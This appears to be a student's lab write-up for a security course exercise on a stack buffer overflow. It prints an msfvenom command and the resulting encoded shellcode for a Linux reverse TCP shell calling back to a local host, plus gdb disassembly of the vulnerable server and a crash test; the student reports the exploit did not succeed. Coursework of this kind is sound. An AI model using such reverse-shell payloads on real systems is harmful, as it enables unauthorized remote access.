CSE354/CSE554: Networks and Systems Security II

Exercise 4 Write-up

Madhav Kansil (2022270)

1. Basic Buffer overflow

I wasn't able to exploit and get a reverse shell on the binary given to us. Thus this report will demonstrate things I tried and shellcode and script I generated. Partial marking for this exercise is greatly appreciated.

1.1. Shellcode generation through `msfvenom`

I was trying to write my scripts in python. Thus I used the command `msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.0.195 LPORT=4444 -f python -b "\x00"`

Explaination

This command has a `-p` flag which generates a payload of the following kind supplied by the user in this case a linux x86 reverse tcp shell. Then we pass host and port number on which we want to have our reverse shell. Finally we tell it to avoid bad characters by giving a `-b` flag.

```
┌──(root㉿kali)-[~]
└─# msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.0.195 LPORT=4444 -f python -b "\x00"
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 3 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 119 (iteration=0)
x64/xor chosen with final size 119
Payload size: 119 bytes
Final size of python file: 597 bytes
buf =  b""
buf += b"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d"
buf += b"\x05\xef\xff\xff\xff\x48\xbb\x54\x52\xf1\xe2\x05"
buf += b"\x32\xf3\xaf\x48\x31\x58\x27\x48\x2d\xf8\xff\xff"
buf += b"\xff\xe2\xf4\x3e\x7b\xa9\x7b\x6f\x30\xac\xc5\x55"
buf += b"\x0c\xfe\xe7\x4d\xa5\xbb\x16\x56\x52\xe0\xbe\xc5"
buf += b"\x9a\xf3\x6c\x05\x1a\x78\x04\x6f\x22\xa9\xc5\x7e"
buf += b"\x0a\xfe\xe7\x6f\x31\xad\xe7\xab\x9c\x9b\xc3\x5d"
buf += b"\x3d\xf6\xda\xa2\x38\xca\xba\x9c\x7a\x48\x80\x36"
buf += b"\x3b\x9f\xcd\x76\x5a\xf3\xfc\x1c\xdb\x16\xb0\x52"
buf += b"\x7a\x7a\x49\x5b\x57\xf1\xe2\x05\x32\xf3\xaf"
```

Figure 1. Shellcode for reverse tcp shell

1.2. Trying to disassemble the code

I used `gdb` to try and read the assembly code. I found that there was a call to `func`. Which may have something. After main I tried to disassemble `func`. In that I saw a buffer of size \0x330 being allocated on stack (instruction 3 in screenshot for func disassembly). \0x330 in decimal is 816.

So I found out that buffer being allocated to it was of size 816.

Seeing that before read call the `edx` register had 0xc80 value in it. This is 3200 bytes in decimal. This means that read is happening on more bytes than allocated.

I tried segfaulting it using few scripts but was not able too. But it was segfaulting when writing "bye" on netcat.

```
(gdb) disassemble main
Dump of assembler code for function main:
   0x000000000000128a <+0>:     push   %rbp
   0x000000000000128b <+1>:     mov    %rsp,%rbp
   0x000000000000128e <+4>:     sub    $0x40,%rsp
   0x0000000000001292 <+8>:     mov    %edi,-0x34(%rbp)
   0x0000000000001295 <+11>:    mov    %rsi,-0x40(%rbp)
   0x0000000000001299 <+15>:    mov    $0x0,%edx
   0x000000000000129e <+20>:    mov    $0x1,%esi
   0x00000000000012a3 <+25>:    mov    $0x2,%edi
   0x00000000000012a8 <+30>:    call   0x10f0 <socket@plt>
   0x00000000000012ad <+35>:    mov    %eax,-0x4(%rbp)
   0x00000000000012b0 <+38>:    cmpl   $0xffffffff,-0x4(%rbp)
   0x00000000000012b4 <+42>:    jne    0x12cc <main+66>
   0x00000000000012b6 <+44>:    lea    0xd73(%rip),%rdi        # 0x2030
   0x00000000000012bd <+51>:    call   0x1040 <puts@plt>
   0x00000000000012c2 <+56>:    mov    $0x0,%edi
   0x00000000000012c7 <+61>:    call   0x10e0 <exit@plt>
   0x00000000000012cc <+66>:    lea    -0x20(%rbp),%rax
   0x00000000000012d0 <+70>:    movq   $0x0,(%rax)
   0x00000000000012d7 <+77>:    movq   $0x0,0x8(%rax)
   0x00000000000012df <+85>:    movw   $0x2,-0x20(%rbp)
   0x00000000000012e5 <+91>:    mov    $0x0,%edi
   0x00000000000012ea <+96>:    call   0x1070 <htonl@plt>
   0x00000000000012ef <+101>:   mov    %eax,-0x1c(%rbp)
   0x00000000000012f2 <+104>:   mov    -0x40(%rbp),%rax
   0x00000000000012f6 <+108>:   add    $0x8,%rax
   0x00000000000012fa <+112>:   mov    (%rax),%rax
   0x00000000000012fd <+115>:   mov    %rax,%rdi
   0x0000000000001300 <+118>:   call   0x10d0 <atoi@plt>
   0x0000000000001305 <+123>:   movzwl %ax,%eax
   0x0000000000001308 <+126>:   mov    %eax,%edi
   0x000000000000130a <+128>:   call   0x1060 <htons@plt>
   0x000000000000130f <+133>:   mov    %ax,-0x1e(%rbp)
   0x0000000000001313 <+137>:   lea    -0x20(%rbp),%rcx
   0x0000000000001317 <+141>:   mov    -0x4(%rbp),%eax
   0x000000000000131a <+144>:   mov    $0x10,%edx
   0x000000000000131f <+149>:   mov    %rcx,%rsi
   0x0000000000001322 <+152>:   mov    %eax,%edi
   0x0000000000001324 <+154>:   call   0x10b0 <bind@plt>
   0x0000000000001329 <+159>:   test   %eax,%eax
   0x000000000000132b <+161>:   je     0x1343 <main+185>
   0x000000000000132d <+163>:   lea    0xd16(%rip),%rdi        # 0x204a
   0x0000000000001334 <+170>:   call   0x1040 <puts@plt>
   0x0000000000001339 <+175>:   mov    $0x0,%edi
   0x000000000000133e <+180>:   call   0x10e0 <exit@plt>
   0x0000000000001343 <+185>:   mov    -0x4(%rbp),%eax
   0x0000000000001346 <+188>:   mov    $0x5,%esi
   0x000000000000134b <+193>:   mov    %eax,%edi
   0x000000000000134d <+195>:   call   0x10a0 <listen@plt>
   0x0000000000001352 <+200>:   test   %eax,%eax
   0x0000000000001354 <+202>:   je     0x136c <main+226>
   0x0000000000001356 <+204>:   lea    0xd03(%rip),%rdi        # 0x2060
   0x000000000000135d <+211>:   call   0x1040 <puts@plt>
   0x0000000000001362 <+216>:   mov    $0x0,%edi
   0x0000000000001367 <+221>:   call   0x10e0 <exit@plt>
```

Figure 2. `main` assembly

```
   0x000000000000136c <+226>:   movl   $0x10,-0xc(%rbp)
   0x0000000000001373 <+233>:   lea    -0xc(%rbp),%rdx
   0x0000000000001377 <+237>:   lea    -0x30(%rbp),%rcx
   0x000000000000137b <+241>:   mov    -0x4(%rbp),%eax
   0x000000000000137e <+244>:   mov    %rcx,%rsi
   0x0000000000001381 <+247>:   mov    %eax,%edi
   0x0000000000001383 <+249>:   call   0x10c0 <accept@plt>
   0x0000000000001388 <+254>:   mov    %eax,-0x8(%rbp)
   0x000000000000138b <+257>:   cmpl   $0x0,-0x8(%rbp)
   0x000000000000138f <+261>:   jns    0x13a7 <main+285>
   0x0000000000001391 <+263>:   lea    0xcd9(%rip),%rdi        # 0x2071
   0x0000000000001398 <+270>:   call   0x1040 <puts@plt>
   0x000000000000139d <+275>:   mov    $0x0,%edi
   0x00000000000013a2 <+280>:   call   0x10e0 <exit@plt>
   0x00000000000013a7 <+285>:   mov    -0x8(%rbp),%eax
   0x00000000000013aa <+288>:   mov    %eax,%edi
   0x00000000000013ac <+290>:   call   0x11f5 <func>
   0x00000000000013b1 <+295>:   mov    -0x8(%rbp),%eax
   0x00000000000013b4 <+298>:   mov    %eax,%edi
   0x00000000000013b6 <+300>:   call   0x1080 <close@plt>
   0x00000000000013bb <+305>:   jmp    0x1373 <main+233>
End of assembler dump.
(gdb)
```

Figure 3. `main` assembly

```
(gdb) disas func
Dump of assembler code for function func:
   0x00000000000011f5 <+0>:     push   %rbp
   0x00000000000011f6 <+1>:     mov    %rsp,%rbp
   0x00000000000011f9 <+4>:     sub    $0x330,%rsp
   0x0000000000001200 <+11>:    mov    %edi,-0x324(%rbp)
   0x0000000000001206 <+17>:    lea    -0x320(%rbp),%rax
   0x000000000000120d <+24>:    mov    %rax,%rsi
   0x0000000000001210 <+27>:    mov    $0x0,%eax
   0x0000000000001215 <+32>:    mov    $0x190,%edx
   0x000000000000121a <+37>:    mov    %rsi,%rdi
   0x000000000000121d <+40>:    mov    %rdx,%rcx
   0x0000000000001220 <+43>:    rep stos %rax,%es:(%rdi)
   0x0000000000001223 <+46>:    lea    -0x320(%rbp),%rcx
   0x000000000000122a <+53>:    mov    -0x324(%rbp),%eax
   0x0000000000001230 <+59>:    mov    $0xc80,%edx
   0x0000000000001235 <+64>:    mov    %rcx,%rsi
   0x0000000000001238 <+67>:    mov    %eax,%edi
   0x000000000000123a <+69>:    call   0x1090 <read@plt>
   0x000000000000123f <+74>:    lea    -0x320(%rbp),%rcx
   0x0000000000001246 <+81>:    mov    -0x324(%rbp),%eax
   0x000000000000124c <+87>:    mov    $0x320,%edx
   0x0000000000001251 <+92>:    mov    %rcx,%rsi
   0x0000000000001254 <+95>:    mov    %eax,%edi
   0x0000000000001256 <+97>:    call   0x1050 <write@plt>
   0x000000000000125b <+102>:   lea    -0x320(%rbp),%rax
   0x0000000000001262 <+109>:   mov    $0x3,%edx
   0x0000000000001267 <+114>:   mov    %rax,%rsi
   0x000000000000126a <+117>:   lea    0xd97(%rip),%rdi        # 0x2008
   0x0000000000001271 <+124>:   call   0x1030 <strncmp@plt>
   0x0000000000001276 <+129>:   test   %eax,%eax
   0x0000000000001278 <+131>:   jne    0x1206 <func+17>
   0x000000000000127a <+133>:   lea    0xd8f(%rip),%rdi        # 0x2010
   0x0000000000001281 <+140>:   call   0x1040 <puts@plt>
   0x0000000000001286 <+145>:   nop
   0x0000000000001287 <+146>:   nop
   0x0000000000001288 <+147>:   leave
   0x0000000000001289 <+148>:   ret
End of assembler dump.
(gdb)
```

Figure 4. `func` assembly

```
┌──[d10nysus@zarch:~]
└─$ nc localhost 9000
bye
bye
```

```
┌──[d10nysus@zarch:~/hack_nss]
└─$ ./tcpserver-basic 8000
socket bind failed..
┌──[d10nysus@zarch:~/hack_nss]
└─$ ./tcpserver-basic 9000
about to close client....closed
Segmentation fault (core dumped)
┌──[d10nysus@zarch:~/hack_nss]
└─$
```

Figure 5. `func` assembly